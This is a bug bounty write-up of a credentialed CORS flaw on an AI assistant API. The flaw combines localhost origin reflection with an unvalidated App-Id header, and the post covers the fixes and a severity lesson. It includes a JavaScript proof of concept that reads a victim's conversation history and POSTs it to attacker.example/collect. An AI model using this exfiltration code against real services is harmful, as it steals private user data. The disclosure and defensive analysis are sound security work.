1496 words
7 minutes
Credentialed CORS via localhost Reflection

Program: Private bug bounty program (vendor undisclosed at their request) Asset: Backend API host for a B2B SaaS application Class: CWE-942 — Overly Permissive Cross-domain Policy Reported severity: High (CVSS 3.1 8.2) → Accepted as Low Status: Reported → triaged → accepted Note: Every hostname, route, header and JSON key in this post has been generalised at the vendor’s request. The behaviour described is real; the identifiers are not.


Why CORS is usually a waste of time

Most bug bounty programs put “CORS misconfiguration” straight on the out-of-scope list, and they’re usually right to. The overwhelming majority of reports are Access-Control-Allow-Origin: * on an endpoint that returns a public list of countries. No credentials, no session, nothing to steal — a scanner finding dressed up as a vulnerability.

This program was no different. Its exclusion list read:

CORS misconfiguration on endpoints that don’t return sensitive data

That qualifier is the entire opening. The program isn’t saying “we don’t care about CORS” — it’s saying “don’t send us reflections on endpoints with nothing behind them.” Which means the whole job is to find one where there is something behind it, and to argue that point explicitly rather than leave it to the triager.

So I skipped the marketing and docs hosts entirely and went looking for the one API that had a session behind it and something worth reading.

The target

The platform ships an in-app AI assistant — the kind that sits in a sidebar, has access to your workspace data, and holds an ongoing conversation. That immediately makes it interesting: conversation history is about as sensitive as application data gets. People paste internal metrics, customer names, and half-finished strategy into these things.

The assistant is served by a separate API host from the main application, which is exactly the sort of split where CORS policy tends to get looser — a different service, a different team, a config written to “just make the frontend work.”

The reflection

The first thing worth checking on any credentialed API is whether the origin is reflected rather than allowlisted:

GET /[ai-assistant] HTTP/2
Host: api.[REDACTED]
Origin: http://localhost:3000
Cookie: session=<victim session JWT>
HTTP/2 200
Access-Control-Allow-Origin: http://localhost:3000
Access-Control-Allow-Credentials: true

Both halves matter, and neither is a finding on its own:

  • Access-Control-Allow-Origin echoing back the request’s Origin means there is no allowlist being enforced at all for that value.
  • Access-Control-Allow-Credentials: true is what makes it readable. Without it, the browser will send the request but refuse to hand the response body to the calling page.

The spec deliberately forbids combining * with credentials for exactly this reason. Reflecting a specific origin is the workaround developers reach for when they want the wildcard’s convenience and cookies — and it re-introduces precisely the risk the prohibition exists to prevent.

The third ingredient was the session cookie itself: it was set SameSite=None, so it rides along on any cross-origin fetch(..., { credentials: 'include' }). SameSite=Lax would have blunted this considerably.

The header that nearly hid it

Here’s the part that made this more than a five-minute find. My first requests didn’t return data at all — just a 400 and a short JSON error saying a required application identifier was missing.

The endpoint required a custom header — call it App-Id — and refused the request without it. On a first pass that reads like an access control: an application-scoped identifier that an attacker on some other origin wouldn’t know.

It isn’t. The server only checked that the header was present, never that the value was correct or that it belonged to the caller:

App-Id: <the real application id> -> 200, full data
App-Id: 0 -> 200, full data
App-Id: 999999 -> 200, full data

Any value works. The tenant is derived entirely from the session cookie; the header is a required-but-unvalidated formality. So an attacker’s page doesn’t need to know anything about the victim’s workspace — it can hardcode 0 and the server will happily scope the response to whoever the cookie belongs to.

This is worth dwelling on, because “there’s a custom header on it” is a common reason to abandon a CORS finding. A header requirement is only a control if the value is validated. Testing that assumption takes one request, and here it was the difference between “not exploitable” and “reads the victim’s entire conversation history.”

The same pattern held on the integrations endpoint, which returned third-party connection status for the account.

What was reachable

With those three properties combined, a page on a localhost origin could issue credentialed cross-origin reads and receive:

  • the victim’s full private AI assistant conversation history
  • connection status for the account’s third-party integrations
  • internal tenant and user identifiers

The proof of concept is unremarkable, which is rather the point:

fetch('https://api.[REDACTED]/[ai-assistant]', {
credentials: 'include',
headers: { 'App-Id': '0' } // value never validated
})
.then(r => r.json())
.then(d => fetch('https://attacker.example/collect', {
method: 'POST',
body: JSON.stringify(d)
}));

No exotic technique. The vulnerability is entirely in the response headers.

The severity, and why I got it wrong

I submitted this as High, CVSS 8.2. It was accepted as Low, and the reasoning was that exploitation requires the attacker to already have code running on the victim’s machine — malware, or a malicious browser extension.

That’s correct, and it’s the most useful thing I took away from the report.

The reflected origin was localhost. Not attacker.com, not a wildcard, not a subdomain I could register — a loopback origin. To serve a page from a localhost origin in the victim’s browser, an attacker must already be running something on the victim’s machine: a local development server, a malicious extension, or malware. And an attacker with any of those has considerably better options available than reading conversation history through a CORS hole.

I had priced the finding on the sensitivity of the data. Private AI conversations feel like a High. But severity is dominated by the attacker’s preconditions, not by how interesting the data is. A total leak of extremely sensitive data, gated behind “attacker already has code execution on the victim’s machine,” is a Low. That relationship doesn’t bend no matter how good the impact paragraph reads.

I’ve since made a habit of pricing the precondition before writing the impact section. It changes what’s worth submitting, and it stops reports reading as though they’re arguing with the triager.

Why it wasn’t auto-closed

Given the program excluded “CORS misconfiguration on non-sensitive endpoints,” this could easily have been closed on the exclusion alone.

What I think kept it in scope was making the sensitivity argument explicitly and up front rather than assuming it was self-evident: naming what the endpoint returns, showing the data in the response, and stating plainly why this endpoint is not in the category the exclusion is aimed at. Triagers work through a queue; if a report requires them to reconstruct why an exclusion doesn’t apply, the exclusion wins.

If your finding lands near an out-of-scope boundary, the report has to do that work. That’s not padding — it’s the actual argument.

The fix

The correct shape here is straightforward, and worth stating because the wrong fixes are tempting:

  1. Replace reflection with a strict allowlist. The set of origins that legitimately need credentialed access to a first-party API is small, known, and rarely changes. Never echo Origin back when Access-Control-Allow-Credentials: true is set.
  2. Don’t ship development origins to production. localhost in an allowlist is a local-config concern; it should not survive into a production response. This is almost always how these get introduced — a developer adds it to unblock local work and it ships.
  3. Tighten the session cookie. SameSite=Lax removes the credential half of the attack for top-level cross-site requests.
  4. Make the header a real control or stop pretending it is one. If App-Id is meant to scope access, validate that the value belongs to the authenticated session. If it’s routing metadata, that’s fine — but then don’t treat its presence as a security boundary.

Of these, (1) and (2) are the load-bearing ones — the rest are defence in depth.

Takeaways

  • Read the exclusion, not just the heading. “CORS on non-sensitive endpoints” is an invitation to find a sensitive one, not a blanket ban. The qualifier is where the scope actually lives.
  • A required header is not an access control until you’ve tested the value. One request tells you whether the server validates it or merely counts it. Here it was the difference between no finding and a full read.
  • Price the precondition before you write the impact. localhost reflection caps severity at Low no matter what’s behind it, because the attacker needs code on the victim’s machine first. Sensitivity does not lift that ceiling.
  • Two response headers are the whole vulnerability. Access-Control-Allow-Origin reflecting input and Access-Control-Allow-Credentials: true are individually unremarkable and jointly a data leak. Check them together, and check them on the API host, not the marketing site.

Disclosure

This write-up is published with the vendor’s approval, fully anonymised at their request.

The vendor has confirmed that no exploitation of this issue occurred prior to my report, and that the issue was fully remediated before this write-up was published.

References


Reported by Youssef Aboukir (onevilx). Thanks to the vendor’s security team for the quick triage and for permitting this write-up.